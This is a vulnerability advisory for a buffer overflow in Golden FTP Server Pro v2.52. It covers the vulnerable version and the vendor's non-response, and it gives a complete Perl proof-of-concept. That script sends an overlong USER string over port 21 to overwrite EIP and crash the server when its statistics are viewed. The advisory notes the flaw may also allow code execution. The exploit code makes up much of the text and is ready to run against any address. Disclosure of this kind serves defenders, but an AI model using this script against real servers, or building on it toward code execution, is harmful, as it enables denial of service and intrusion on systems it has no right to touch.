Summary:
Buffer overflow in KMiNT21 Software Golden FTP Server Pro v2.52 (10.04.2005)
(http://www.goldenftpserver.com/)

Details:
Passing an overly long username parameter to the FTP server causes the
EIP register to be overwritten after the USER/PASS login sequence is
completed. Once this has been done the FTP will either crash or
execute code (depending on the value of the username) when the server
statistics are viewed by an administrator.

Vulnerable Versions:
Golden FTP Server Pro v2.52 (10.04.2005)

Patches/Workarounds:
The vendor was notified of the issue. There was no response.

Exploit:
Run the following PERL script against the server. Afterward, right
click on the Golden FTP Server Pro icon in the Windows tray and click
Statistic. The process will die.

#===== Start GoldenFTPServer_Overflow.pl =====
#
# Usage: GoldenFTPServer_Overflow.pl <ip>
#        GoldenFTPServer_Overflow.pl 127.0.0.1
#
# KMiNT21 Software Golden FTP Server Pro v2.52 (10.04.2005)
#
# Download:
# http://www.goldenftpserver.com/
#
##############################################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
            PeerPort => "21",
            Proto    => "TCP"))
{
  print "Attempting to kill Golden FTP Server at $ARGV[0]:21...";

  sleep(1);

  print $socket "USER " . "A" x 332 . "BBBB\r\n";

  sleep(1);

  print $socket "PASS " . "\r\n";

  close($socket);
}
else
{
  print "Cannot connect to $ARGV[0]:21\n";
}
#===== End GoldenFTPServer_Overflow.pl =====

Discovered by Reed Arvin reedarvin[at]gmail[dot]com
(http://reedarvin.thearvins.com)